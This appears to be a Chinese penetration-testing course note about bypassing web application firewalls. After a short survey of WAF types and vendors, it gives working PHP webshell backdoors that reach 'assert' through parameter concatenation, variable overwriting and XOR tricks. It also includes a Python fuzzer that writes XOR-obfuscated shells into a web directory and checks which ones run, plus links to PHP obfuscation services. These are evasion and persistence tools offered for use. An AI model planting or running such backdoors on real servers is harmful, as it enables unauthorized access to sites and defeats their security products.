77天-WAF攻防-权限控制&代码免杀&异或运算&变量覆盖&混淆加密&传参
#知识点:
1、脚本后门基础&原理
2、脚本后门查杀绕过机制
3、权限维持-覆盖&传参&加密&异或等
代码块&传参数据&工具指纹等(表面&行为)
1、代码表面层免杀-ASP&PHP&JSP&ASPX等
2、工具行为层免杀-菜刀&蚁剑&冰蝎&哥斯拉等
#章节点:
WAF绕过主要集中在信息收集,漏洞发现,漏洞利用,权限控制四个阶段。
#补充点:
1、什么是WAF?
Web Application Firewall(web应用防火墙),一种公认的说法是“web应用防火墙通过执行一系列针对HTTP/HTTPS的安全策略来专门为web应用提供保护的一款产品。
基本可以分为以下4种
软件型WAF
以软件的形式安装在服务器上面,可以接触到服务器上的文件,因此就可以检测服务器上是否有webshell,是否有文件被创建等。
硬件型WAF
以硬件形式部署在链路中,支持多种部署方式。当串联到链路上时可以拦截恶意流量,在旁路监听模式时只记录攻击但是不进行拦截。
云 WAF
一般以反向代理的形式工作,通过配置后,使对网站的请求数据优先经过WAF主机,在WAF主机对数据进行过滤后再传给服务器
网站内置的WAF
就是来自网站内部的过滤,直接出现在网站代码中,比如说对输入的参数强制类转换啊,对输入的参数进行敏感词检测啊什么的
2、如何判断WAF?
Wafw00f,看图识别,其他项目脚本平台
https://mp.weixin.qq.com/s/3uUZKryCufQ_HcuMc8ZgQQ
3、常见WAF拓扑&防护?
见上图流量走向&常见漏洞
4、目前有哪些常见WAF产品?
参考:https://blog.csdn.net/w2sft/article/details/104533082/
① 硬件型
硬件型WAF以一个独立的硬件设备的形态存在,支持以多种方式(如透明桥接模式、旁路模式、反向代理等)部署到网络中为后端的Web应用提供安全防护,是最为传统的WAF型态,在受访企业中部署占比为35.2%。相对于软件产品类的WAF,这类产品的优点是性能好、功能全面、支持多种模式部署等,但它的价格通常比较贵。国内的绿盟、安恒、启明星辰等老牌厂商旗下的WAF都属于此类。
② 软件型
这种类型的WAF采用纯软件的方式实现,特点是安装简单,容易使用,成本低。但它的缺点也是显而易见的,除了性能受到限制外,还可能会存在兼容性、安全等问题。这类WAF的代表有ModSecurity、Naxsi、ShareWAF、安全狗等。
③ 云WAF
随着云计算技术的快速发展,使得基于云的WAF实现成为可能,在本次调查中占比甚至超过了传统的硬件WAF跃升为第一位,达到39.4%。阿里云、腾讯云、深信服云WAF、Imperva WAF是这类WAF的典型代表。
演示示例
代码-脚本后门免杀变异-覆盖&传参
1.php 传参带入
<?php
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>
?a=ass
x=cGhwaW5mbygpOw==
2.php 变量覆盖
<?php
$a='b';
$b='assert';
$$a(base64_decode($_POST['x']));
?>
x=cGhwaW5mbygpOw==
代码-脚本后门免杀变异-异或&加密
3.php 加密变异
http://www.phpjm.net/
https://www.phpjms.com/
http://1.15.155.76:1234/
4.php 异或运算
import requests
import time
import threading,queue
def string():
while not q.empty():
filename=q.get()
url = 'http://127.0.0.1:8081/x/' + filename
datas = {
'x': 'phpinfo();'
}
result = requests.post(url, data=datas).content.decode('utf-8')
if 'XIAODI-PC' in result:
print('check->'+filename+'->ok')
else:
print('check->'+filename+'->no')
time.sleep(1)
def shell_test_check():
url='http://127.0.0.1:8081/x/33xd64.php'
datas={
'x':'phpinfo();'
}
result=requests.post(url,data=datas).content.decode('utf-8')
print(result)
if 'XIAODI-PC' in result:
print('ok')
if __name__ == '__main__':
q=queue.Queue()
for i in range(1, 127):
for ii in range(1, 127):
payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"
code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"
filename = str(i) + 'xd' + str(ii) + '.php'
q.put(filename)
with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a') as f:
f.write(code)
f.close()
print('Fuzz文件生成成功')
for x in range(20):
t=threading.Thread(target=string)
t.start()
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)